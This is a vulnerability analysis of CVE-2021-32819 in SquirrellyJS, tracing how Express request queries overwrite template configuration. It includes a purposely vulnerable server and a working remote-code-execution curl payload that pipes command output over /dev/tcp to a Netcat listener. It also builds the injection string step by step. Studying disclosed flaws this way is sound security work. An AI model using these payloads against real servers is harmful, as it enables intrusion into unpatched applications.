GHSL-2021-023 / CVE-2021-32819
An analysis for GHSL-2021-023 / CVE-2021-32819 vulnerability.
The Express render API [3] was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross-Site Scripting (XSS) to Remote Code Execution (RCE).
SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. [4]
IMPACT
VULNERABLE VERSIONS
SquirrellyJS is vulnerable from version v8.0.0 to v8.0.8.
- 01/25/2021: Report sent to maintainers by GHSL
- 04/25/2021: Deadline expired
Install NodeJS run-time environment, Node Package Manager (NPM), ExpressJS, and SquirellyJS.
sudo apt update
sudo apt install nodejs npm
mkdir GHSL-2021-023 && cd GHSL-2021-023
npm install express
npm install squirrelly
GHSL-2021-023/app.js - vulnerable server code.
const express = require('express')
const app = express()
const port = 3000
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
res.render('index.squirrelly', req.query)
})
app.listen(port, () => {})
module.exports = app;
GHSL-2021-023/index.squirrelly - template.
<!DOCTYPE html>
<html>
<head>
<title>GHSL-2021-023</title>
</head>
<body>
<h1>{{it.variable}}</h1>
</body>
</html>
Start the vulnerable application server.
node app.js
Start a Netcat listener on port 443.
nc -lnvp 443
Send the crafted payload via curl.
curl -G \
--data-urlencode "defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c \'/bin/id > /dev/tcp/127.0.0.1/443\''); //" \
http://localhost:3000/
When the payload is triggered via curl, the vulnerable server executes our malicious code. The code executes
/bin/id
command on the server and sends the output to the Netcat listener. The output is on the top of the TMUX window.
Proof of concept
Send a request to start the analysis.
curl -G \
--data-urlencode "variable=HelloWorld" \
http://localhost:3000/
The ExpressJS calls renderFile function from the SquirrellyJS engine after the request has been made (view.js line 135).
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
this.engine variable is the renderFile function.
function renderFile(filename, data, cb) {
data = data || {};
var Config = getConfig(data);
...
return tryHandleCache(Config, data, cb);
}
- filename is the template path.
"GHSL-2021-023/index.squirrelly"
- data is the template data that contains the request query.
{
settings: {
...,
},
variable: "HelloWorld",
_locals: {},
cache: false,
}
- cb is a callback function that is defined in another scope.
renderFile function calls getConfig function (line 3).
function getConfig (override: PartialConfig, baseConfig?: SqrlConfig): SqrlConfig {
var res: PartialConfig = {}
copyProps(res, defaultConfig)
if (baseConfig) {
copyProps(res, baseConfig)
}
if (override) {
copyProps(res, override)
}
;(res as SqrlConfig).l.bind(res)
return res as SqrlConfig
}
override parameter is the template data that contains the request query.
{
settings: {
...,
},
variable: "HelloWorld",
_locals: {},
cache: false,
}
baseConfig parameter is undefined.
getConfig function defines res variable as an empty object (line 3), then copies global defaultConfig properties to res properties (line 4), after that skips baseConfig condition because it's undefined (line 6) then copies override properties to res properties (line 11), finally returns res variable (line 16) to Config variable in renderFile function scope (line 3).
Config variable is:
{
varName: 'it',
...,
autoEscape: true,
defaultFilter: false,
...,
settings: {...},
variable: 'HelloWorld',
...
}
Notice
Since request queries are copied to Config object, which is the set of compilation options, that means the sender can overwrite Config properties values.
After getConfig function returns res variable to Config variable, renderFile function calls tryHandleCache function (line 5).
/**
* Try calling handleCache with the given options and data and call the
* callback with the result. If an error occurs, call the callback with
* the error. Used by renderFile().
*
* @param {Options} options compilation options
* @param {Object} data template data
* @param {RenderFileCallback} cb callback
* @static
*/
function tryHandleCache (options: FileOptions, data: object, cb: CallbackFn) {
var result
if (!cb) {
...
} else {
try {
handleCache(options)(data, options, cb)
} catch (err) {
return cb(err)
}
}
}
- options is the set of compilation options.
{
varName: "it",
...,
autoEscape: true,
defaultFilter: false,
tags: ["{{", "}}"],
...,
variable: "HelloWorld",
_locals: {},
...
}
- data is the template data that contains the request query.
{
settings: { ... },
variable: "HelloWorld",
_locals: {},
cache: false,
}
- cb is a callback function that is defined in another scope.
tryHandleCache function skips the condition (line 14) because the cb variable is defined as a callback function. tryHandleCache function calls handleCache function (line 18).
/**
* Get the template from a string or a file, either compiled on-the-fly or
* read from cache (if enabled), and cache the template if needed.
*
* If `options.cache` is true, this function reads the file from
* `options.filename` so it must be set prior to calling this function.
*
* @param {Options} options compilation options
* @param {String} [template] template source
* @return {(TemplateFunction|ClientFunction)}
* Depending on the value of `options.client`, either type might be returned.
* @static
*/
function handleCache (options: FileOptions): TemplateFunction {
var filename = options.filename
...
return compile(readFile(filename), options)
}
options parameter is the set of compilation options.
{
varName: "it",
autoTrim: [
false,
"nl",
],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: {
},
...
}
handleCache function gets the template (index.squirrelly) content from a file, then handleCache function calls compile function (line 18).
export default function compile (str: string, env?: PartialConfig): TemplateFunction {
var options: SqrlConfig = getConfig(env || {})
var ctor = Function // constructor
...
try {
return new ctor(
options.varName,
'c', // SqrlConfig
'cb', // optional callback
compileToString(str, options)
) as TemplateFunction // eslint-disable-line no-new-func
} catch (e) {
if (e instanceof SyntaxError) {
throw SqrlErr(
'Bad template syntax\n\n' +
e.message +
'\n' +
Array(e.message.length + 1).join('=') +
'\n' +
compileToString(str, options)
)
} else {
throw e
}
}
}
Parameters
- str is the content of the template (index.squirrelly)
"<!DOCTYPE html>\n<html>\n <head>\n <title>GHSL-2021-023</title>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
- env is the set of compilation options.
{
varName: "it",
autoTrim: [
false,
"nl",
],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: {
},
...
}
compile function defines options as env (line 2). then creates an alias of Function constructor called ctor at (line 3). finally returns a new ctor (Function) (line 8) to (line 13).
ctor parameters
options.varName is:
"it"
it is the template data that contains the request query.
c is the set of compilation options.
cb is a callback function defined in another scope.
compileToString function returns the ctor Function body (line 22).
export default function compileToString (str: string, env: SqrlConfig) {
var buffer: Array<AstObject> = Parse(str, env)
var res =
"var tR='';" +
(env.useWith ? 'with(' + env.varName + '||{}){' : '') +
compileScope(buffer, env) +
'if(cb){cb(null,tR)} return tR' +
(env.useWith ? '}' : '');
...
return res
}
Parameters
- str is the content of the template file (index.squirrelly).
"<!DOCTYPE html>\n<html>\n <head>\n <title>GHSL-2021-023</title>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
- env is the set of compilation options.
{
varName: "it",
autoTrim: [
false,
"nl"],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: {},
...
}
compileToString function defines buffer and calls parse function (line 2) to prase the template content and its variables
[
"<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>",
{
f: [
],
c: "it.variable",
t: "i",
},
"</h1>\\n</body>\\n</html>",
]
compileToString function defines res variable for the ctor function body (line 3)
var res =
"var tR='';" +
(env.useWith ? 'with(' + env.varName + '||{}){' : '') +
compileScope(buffer, env) +
'if(cb){cb(null,tR)} return tR' +
(env.useWith ? '}' : '');
useWith is false
var res = "var tR='';" + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR'
compileToString function calls compileScope function to append its return value to res variable.
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
var i = 0
var buffLength = buff.length
var returnStr = ''
for (i; i < buffLength; i++) {
var currentBlock = buff[i]
if (typeof currentBlock === 'string') {
var str = currentBlock
returnStr += "tR+='" + str + "';"
} else {
var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
var content = currentBlock.c || ''
var filters = currentBlock.f
var name = currentBlock.n || ''
var params = currentBlock.p || ''
var res = currentBlock.res || ''
var blocks = currentBlock.b
var isAsync = !!currentBlock.a
if (type === 'i') {
if (env.defaultFilter) {
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
}
var filtered = filter(content, filters)
if (!currentBlock.raw && env.autoEscape) {
filtered = "c.l('F','e')(" + filtered + ')'
}
returnStr += 'tR+=' + filtered + ';'
} else if (type === 'h') {
...
} else if (type === 's') {
...
} else if (type === 'e') {
...
}
}
}
return returnStr
}
Parameters
- buff is an array that contains a parsed template content.
[
"<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>",
{
f: [],
c: "it.variable",
t: "i",
},
"</h1>\\n</body>\\n</html>",
]
- env is the set of compilation options.
{
varName: "it",
autoTrim: [false, "nl"],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: { },
...
}
The for loop iterates through all elements in the buff array (line 6). If the element is a string (line 8), it adds the string to returnStr variable. If it's not a string, it executes the else block (line 11).
The first and the last element is a strings buff[0], buff[2], where buff[1] is an object
{
f: [],
c: "it.variable",
t: "i",
}
The type variable is currentBlock.t (line 12) where t is equal to
"i"
(line 20).compileScope function checks if env.defaultFilter is defined or true (line 21).
In case env.defaultFilter is defined or true, the env.defaultFilter value is going to be appended to the content variable where the content variable is going to be presented in the function body, but for now, the env.defaultFilter is false. After that, the filter function returns the content to the filtered variable (line 17).
if the condition (line 25) is true
!currentBlock.raw is true
autoEscape is true
More code is appended to filtered (line 26).
compileScope function returns returnStr (line 39), which is a part of the function body
tR+='<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';
res variable in compileToString function scope is
var res = "var tR='';" + "tR+='<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
The anonymous function that is going to be executed
(function anonymous(it,c,cb
) {
var tR='';
tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>GHSL-2021-023</title>\n </head>\n<body>\n <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\n</body>\n</html>';
if(cb){cb(null,tR)}
return tR
})
From the analysis, the attacker can control defaultFilter property in the defaultConfig by the request query. The getConfig function overwrites the defaultConfig properties with the override properties where the attacker input is represented.
The GHSL-2021-023 report, authored by Agustin Gianni, exploited the vulnerability using both defaultFilter and autoEscape, but our exploit uses defaultFilter only. There's no need to change or modify the autoEscape property to gain Remote Code Execution.
In order to exploit the vulnerability, you need to meet these conditions:
- 1.The condition (line 21) in compileScope function must be true to append the defaultFilter to the content.
- 2.The appended code syntax must be correct to get code execution.
curl -G \
--data-urlencode "defaultFilter=e')); console.log('Remote Code Execution') //" \
http://localhost:3000/
The defaultFilter should be
e')); console.log('Remote Code Execution') //
to gain code execution.For the first condition is true only if the defaultFilter is not false or not undefined
The function body
tR+=c.l('F','e')(c.l('F','<defaultFilter>') ...)
The code injection starts at the second parameter (name) of the l function
name parameter is the filter name
1. defaultFilter=e
Filters are defined in (container.ts line 173); There's only one filter
e
which the payload must starts with.tR+=c.l('F','e')(c.l('F','e') ...)
2. defaultFilter=e'));
Add a single quote, close the function, close the expression, add a semi-colon to fix the syntax to add a code.
tR+=c.l('F','e')(c.l('F','e'));') ...)
3. defaultFilter=e')); console.log('Remote Code Execution')
Add the code that you need to be executed, for example, output a string to the server console.
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution')') ...)
4. defaultFilter=e')); console.log('Remote Code Execution') //
Add a single-line comment to remove the next portion that comes after your injected code.
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution') //') ...)
Last modified 2yr ago